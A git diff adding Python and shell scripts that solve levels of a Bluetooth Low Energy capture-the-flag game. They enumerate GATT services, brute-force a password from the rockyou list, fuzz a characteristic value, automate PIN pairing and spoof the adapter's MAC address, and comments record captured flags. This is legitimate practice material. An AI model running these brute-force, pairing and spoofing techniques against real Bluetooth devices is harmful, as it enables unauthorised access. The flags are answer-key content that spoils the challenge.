100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/lvl_06.py b/lvl_06.py new file mode 100755 index 0000000..a2cd758 --- /dev/null +++ b/lvl_06.py @@ -0,0 +1,32 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import subprocess + +''' +42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 06") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0']) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..71efc09 --- /dev/null +++ b/notes.txt @@ -0,0 +1,4 @@ +Search for MAC addresses around: + hcitool lescan +enumerate the MAC + bleah -b 11:22:33:44:55:66 -e \ No newline at end of file diff --git a/reset_scoreboard.py b/reset_scoreboard.py new file mode 100755 index 0000000..43da655 --- /dev/null +++ b/reset_scoreboard.py @@ -0,0 +1,30 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x32 +score_uuid = 0x00ff + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() + +print("Resetting scoreboard") +hex1 = binascii.unhexlify("C1EA12") +response = p.writeCharacteristic(chall_uuid, hex1, True) +#print (response) + +scoreboard = p.getServiceByUUID(score_uuid) +#print(scoreboard) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/send2handle.py b/send2handle.py new file mode 100755 index 0000000..c5dfe47 --- /dev/null +++ b/send2handle.py @@ -0,0 +1,31 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + + +if len(sys.argv) != 3: + print "send content to handle\n eg.", sys.argv[0], "0x30 \"some content\"" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = sys.argv[1] +content = sys.argv[2] + +print("Sending \""+content+"\" to "+handle) + +services=p.getServices() + +hex_int = int(handle, 16) +new_int = hex_int + 0x200 +print(hex_int) +hex1 = binascii.hexlify(handle) +#hex2 = binascii.unhexlify(str(content)) +response = p.writeCharacteristic(hex_int, content, True) +print (response) + +p.disconnect() \ No newline at end of file diff --git a/submit_flag.py b/submit_flag.py new file mode 100755 index 0000000..0a431c8 --- /dev/null +++ b/submit_flag.py @@ -0,0 +1,34 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' + +''' + +if len(sys.argv) != 2: + print "submit password\n eg.", sys.argv[0], "" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +flag = sys.argv[1] + +print("Submitting Password") +p.writeCharacteristic(0x2E, flag, withResponse=False) + +scoreboard = p.getServiceByUUID(0xFF) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hexlif2 = characteristic.read() + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect()